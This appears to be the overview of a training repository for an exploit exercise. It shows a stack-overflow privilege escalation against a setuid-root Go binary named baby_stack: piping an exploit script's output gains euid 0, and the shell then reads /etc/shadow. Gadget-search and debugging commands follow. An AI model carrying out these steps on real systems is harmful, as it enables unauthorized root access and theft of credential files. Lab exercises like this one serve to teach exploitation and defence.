suezawa/exploit-exercise3 repository overview

docker run --rm --privileged -it suezawa/exploit-exercise3 /bin/bash

# su appuser --shell=/bin/bash

$ echo "Test" | ./baby_stack
Thank you!
msg : Test

$ cat /etc/shadow
cat: /etc/shadow: Permission denied

$ ls -l baby_stack
-rwsr-sr-x 1 root root 2051370 Jan 10 04:53 baby_stack
$
$ python exploit_print.py | ./baby_stack
Thank you!
msg :

id
#[return] uid=1000(appuser) gid=37(appuser) euid=0(root) egid=0(root) groups=0(root),37(appuser)
cat /etc/shadow
#[return] root:*:18179:0:99999:7:::

# on root
gdb baby_stack -x gdb-autocommand

gdb-peda$ hexdump 0x564200 48

rp-lin-x64 -f baby_stack -r 1 --unique

readelf -W -e baby_stack

go build -o baby_stack -ldflags "-w"